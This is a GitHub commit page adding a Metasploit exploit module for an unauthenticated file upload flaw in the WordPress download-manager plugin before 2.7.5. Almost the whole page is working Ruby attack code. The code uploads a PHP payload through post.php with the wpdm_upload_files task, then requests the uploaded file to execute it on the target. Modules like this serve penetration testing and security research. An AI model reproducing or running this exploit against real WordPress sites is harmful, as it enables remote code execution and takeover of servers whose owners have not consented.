Skip to content

Commit b334e7e

Browse files
committed
Land rapid7#4322, @firefart's wordpress exploit for download-manager plugin
2 parents 4f3ac43 + aaed7fe commit b334e7e

File tree

1 file changed

+78
-0
lines changed

1 file changed

+78
-0
lines changed
Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::HTTP::Wordpress
12+
include Msf::Exploit::FileDropper
13+
14+
def initialize(info = {})
15+
super(update_info(
16+
info,
17+
'Name' => 'Wordpress Download Manager (download-manager) Unauthenticated File Upload',
18+
'Description' => %q{
19+
The WordPress download-manager plugin contains multiple unauthenticated file upload
20+
vulnerabilities which were fixed in version 2.7.5.
21+
},
22+
'Author' =>
23+
[
24+
'Mickael Nadeau', # initial discovery
25+
'Christian Mehlmauer' # metasploit module
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
# The module exploits another vuln not mentioned in this post, but was also fixed
31+
['URL', 'http://blog.sucuri.net/2014/12/security-advisory-high-severity-wordpress-download-manager.html'],
32+
['WPVDB', '7706']
33+
],
34+
'Privileged' => false,
35+
'Platform' => ['php'],
36+
'Arch' => ARCH_PHP,
37+
'Targets' => [['download-manager < 2.7.5', {}]],
38+
'DefaultTarget' => 0,
39+
'DisclosureDate' => 'Dec 3 2014'))
40+
end
41+
42+
def check
43+
check_plugin_version_from_readme('download-manager', '2.7.5')
44+
end
45+
46+
def exploit
47+
filename = "#{rand_text_alpha(10)}.php"
48+
49+
data = Rex::MIME::Message.new
50+
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"Filedata\"; filename=\"#{filename}\"")
51+
52+
print_status("#{peer} - Uploading payload")
53+
res = send_request_cgi(
54+
'method' => 'POST',
55+
'uri' => normalize_uri(wordpress_url_backend, 'post.php'),
56+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
57+
'data' => data.to_s,
58+
'vars_get' => { 'task' => 'wpdm_upload_files' }
59+
)
60+
61+
if res && res.code == 200 && res.body && res.body.length > 0 && res.body =~ /#{Regexp.escape(filename)}$/
62+
uploaded_filename = res.body
63+
register_files_for_cleanup(uploaded_filename)
64+
print_status("#{peer} - File #{uploaded_filename} successfully uploaded")
65+
else
66+
fail_with(Failure::Unknown, "#{peer} - Error on uploading file")
67+
end
68+
69+
file_path = normalize_uri(target_uri, 'wp-content', 'uploads', 'download-manager-files', uploaded_filename)
70+
71+
print_status("#{peer} - Calling uploaded file #{file_path}")
72+
send_request_cgi(
73+
{
74+
'uri' => file_path,
75+
'method' => 'GET'
76+
}, 5)
77+
end
78+
end

0 commit comments

Comments
 (0)